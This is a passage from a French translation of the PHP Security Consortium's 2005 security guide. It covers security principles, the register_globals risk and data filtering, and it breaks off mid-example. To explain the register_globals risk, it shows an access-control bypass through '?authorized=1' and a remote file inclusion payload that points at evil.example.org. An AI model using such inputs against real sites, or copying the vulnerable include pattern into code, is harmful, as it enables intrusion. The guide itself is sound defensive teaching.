Guide De Securite PHP.pdf

(556 KB) Pobierz
PHP Security Consortium: Guide de Sécurité PHP
Guide de Sécurité PHP
1.0
Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information
PHP Security Consortium: Guide de Sécurité PHP
Guide de Sécurité PHP
Table des matières
Table des matières
1. Vue d'ensemble
1.1 Qu'est-ce que la sécurité?
1.2 Etapes de base
1.3 Register Globals
1.4 Filtrage des données
1.4.1 La méthode de répartition (Dispatch Method)
1.4.2 La méthode d'inclusion (Include Method)
1.4.3 Exemples de filtrage
1.4.4 Conventions de nommage
1.4.5 Timing
1.5 Signalement des erreurs
2. Traitement des formulaires
2.1 Falsification des soumission de formulaire
2.2 Requêtes HTTP falsifiées
2.3 Cross-Site Scripting
2.4 Cross-Site Request Forgeries
3. Bases de données et SQL
3.1 Autorisations d'accès exposées
3.2 Injection de code SQL
4. Les sessions
4.1 Fixation de session
4.2 Détournement de session
5. Hôtes partagés (Shared Hosts)
5.1 Données de session exposées
5.2 Naviguer dans le système de fichiers
6. A propos de
6.1 A propos de ce Guide
6.2 A propos de cette traduction
6.3 A propos du Consortium de Sécurité PHP (PHP Security Consortium)
6.4 Plus d'information
Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information
PHP Security Consortium: Guide de Sécurité PHP
Guide de Sécurité PHP: Vue d'ensemble
Qu'est-ce que la sécurité?
La sécurité est une mesure, pas une caractéristique.
Il est regrettable que tant de projets de développement logiciel réduisent la sécurité à une simple exigence à
satisfaire. Est-ce que c'est sécurisé? Cette question est aussi subjective que de demander si quelque chose est
super.
La sécurité doit être en équilibre avec les dépenses.
Il est facile et relativement peu cher de fournir un niveau de sécurité suffisant pour la plupart des applications.
Cependant, si vos besoins en sécurité sont très exigeants, parce que vous protégez des informations de grande
valeur, alors vous devez atteindre un niveau de sécurité plus élevé, à un coût supérieur. Cette dépense doit être
inclue dans le budget du projet.
La sécurité doit être en équilibre avec l'utilisabilité
Il n'est pas rare que les étapes prises pour améliorer la sécurité d'une application web diminue également son
utilisabilité. Les mots de passe, timeouts de sessions et contrôles d'accès créent autant d'obstacles aux
utilisateurs légitimes. Parfois, ceux-ci sont nécessaires pour fournir un niveau adéquat de sécurité, mais il
n'existe pas de solution qui convienne à toutes les applications. Il est sage de penser à vos utilisateurs légitimes
lorsque vous implémentez des mesures de sécurité.
La sécurité doit faire partie de la conception.
Si vous concevez votre application sans penser à la sécurité, vous êtes condamnés à constamment faire face à
de nouvelles vulnérabilités de sécurité. Une programmation prudente ne peut compenser une mauvaise
conception.
Etapes de base
Pensez aux utilisations illégitimes de votre application.
Une conception sécurisée n'est qu'une partie de la solution. Pendant le développement, quand le code est
rédigé, il est important de penser aux utilisations illégitimes de votre application. Souvent, on se concentre à
faire fonctionner l'application selon ce qu'on a prévu. Bien qu'il soit nécessaire de fournir une application qui
fonctionne correctement, ceci n'aide en rien pour rendre l'application plus sécurisée.
Instruisez-vous vous-même.
Le fait que vous êtes ici constitue une preuve que vous vous intéressez à la sécurité et, aussi banal que cela
puisse paraître, c'est l'étape la plus importante. De nombreuses références sont disponibles sur le web et sous
forme imprimée, et de nombreuses ressources sont listées dans la bibliothèque du Consortium de Sécurité PHP
(PHP Security Consortium's Library), sur
http://phpsec.org/library/.
Si vous ne faites qu'une chose, FILTREZ TOUTES LES DONNEES EXTERNES.
Le filtrage des données est la pierre angulaire de la sécurité des applications web, quel que soit le langage et la
plate-forme. En initialisant vos variables et en filtrant toutes les données qui proviennent de sources externes,
vous gérerez une majorité de vulnérabilités avec un minimum d'effort. Une approche par liste blanche (whitelist)
est préférable à une approche par liste noire (blacklist). Cela signifie que vous devriez considérer toutes les
Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information
PHP Security Consortium: Guide de Sécurité PHP
données comme invalides, à moins qu'il soit prouvé qu'elles sont valides (plutôt que de considérer toutes les
données comme valides, à moins qu'il soit prouvé qu'elles sont invalides).
Register Globals
La directive
register_globals
est désactivée par défaut dans les versions 4.2.0 et supérieures de PHP. Même si
cela ne représente pas une vulnérabilité de sécurité, il s'agit quand même d'un risque de vue sécurité. Dès lors, vous
devriez toujours développer et déployer vos applications avec la directive
register_globals
désactivée.
Pourquoi cela constitue-t-il un risque de sécurité ? Il est difficile de fournir des bons exemples pour tout le monde,
parce que cela requiert souvent une situation unique pour mettre le risque en évidence. Cependant, l'exemple le plus
courant est celui que l'on trouve dans le manuel PHP:
<?php if (authenticated_user()) {
$authorized
=
true;
} if ($authorized) {
include
'/highly/sensitive/data.php';
}
?>
Avec la directive
register_globals
activée, cette page peut être appelée avec
?authorized=1
dans la query
string, pour contourner le contrôle d'accès prévu. Bien entendu, cette vulnérabilité particulière est la faute du
développeur, et pas celle de
register_globals,
mais ceci indique le risque accru que pose cette directive. Sans
elle, les variables globales ordinaires (telles que
$authorized
dans l'exemple) ne sont pas affectées par les données
soumises par le client. Une meilleure méthode consiste à initialiser toutes les variables et à développer avec la directive
error_reporting
positionnée sur
E_ALL,
de sorte que l'utilisation d'une variable non initialisée ne passe pas
inaperçue lors du développement.
Un autre exemple qui illustre le fait que
register_globals
puisse poser problème est l'utilisation suivante de
include
avec un chemin dynamique:
<?php
include
"$path/script.php";
?>
Avec
register_globals
activée, cette page peut être demandée avec
?path=http%3A%2F%2Fevil.example.org%2F%3F
dans la query string, de sorte à ce que cette exemple devienne
ceci:
<?php
include
'http://evil.example.org/?/script.php';
?>
Si la directive
allow_url_fopen
est activée (ce qui est le cas par défaut, même dans
php.ini-recommended),
ceci
inclura la sortie de
http://evil.example.org/
exactement comme s'il s'agissait d'un fichier local. C'est une
vulnérabilité de sécurité majeure, qui a été découverte dans quelques applications open source populaires.
Initialiser
$path
peut atténuer ce risque particulier, mais c'est également le cas en désactivant
register_globals.
Tandis qu'une erreur d'un développeur puisse aboutir à une variable non initialisée, désactiver
register_globals
est un changement de configuration global que l'on a nettement moins de chances de laisser passer.
L'aspect pratique est merveilleux, et ceux d'entre nous qui ont dû gérer les données de formulaire à la main dans le
passé apprécient. Cependant, utiliser les tableaux super-globaux
$_POST
et
$_GET
est encore très pratique, et activer
Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information
PHP Security Consortium: Guide de Sécurité PHP
register_globals
ne vaut pas le risque supplémentaire. Bien que je sois complètement en désaccord avec les
arguments qui assimilent
register_globals
à une sécurité médiocre, je recommande qu'elle soit désactivée.
En plus de tout ceci, désactiver
register_globals
encourage les développeurs à être attentifs à l'origine des
données, ce qui constitue une caractéristique importante de tout développeur soucieux de sécurité.
Filtrage des données
Comme spécifié précédemment, le filtrage des données est la pierre angulaire de la sécurité des applications web,
indépendamment du langage de programmation et de la plate-forme. Cela implique les mécanismes par lesquels vous
déterminez la validité des données qui entrent et sortent de l'application. Une bonne conception de logiciel peut aider le
développeur à:
S'assurer que le filtrage des données ne peut être contourné,
S'assurer que des données invalides ne peuvent être confondues avec des données valides, et
Identifier l'origine des données.
Les avis divergent concernant la manière de s'assurer que l'on ne puisse pas contourner le filtrage de données, mais il
existe deux approches générales qui semblent les plus répandues, et les deux fournissent un niveau suffisant de
confiance.
La méthode de répartition (Dispatch Method)
Une première méthode consiste à n'avoir qu'un seul script PHP directement accessible via le web (via son URL). Tout
le reste étant des modules inclus par
include
ou
require,
selon les besoins. Cette méthode requiert en général
qu'une variable
GET
soit passée avec chaque URL, pour identifier la tâche. Cette variable
GET
peut être considérée
comme le remplacement du nom du script, qui aurait été utilisé dans une conception plus simple. Par exemple:
http://example.org/dispatch.php?task=print_form
Le fichier
dispatch.php
est le seul fichier sous la racine web (document root). Cela permet à un développeur de
réaliser deux choses importantes:
Implémenter certaines mesures globales de sécurité, au sommet de
dispatch.php
et de s'assurer que ces
mesures ne puissent pas être contournées.
Voir aisément que le filtrage des données a lieu lorsque nécessaire, en se concentrant sur le contrôle de flux
d'une tâche spécifique.
Pour expliquer cela plus en détails, considérez cet exemple de script
dispatch.php:
<?php
/* Global security measures */
switch ($_GET['task'])
{
case
'print_form':
include
'/inc/presentation/form.inc';
break;
Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information

Plik z chomika:

Inne pliki z tego folderu:

Inne foldery tego chomika:

Zgłoś jeśli naruszono regulamin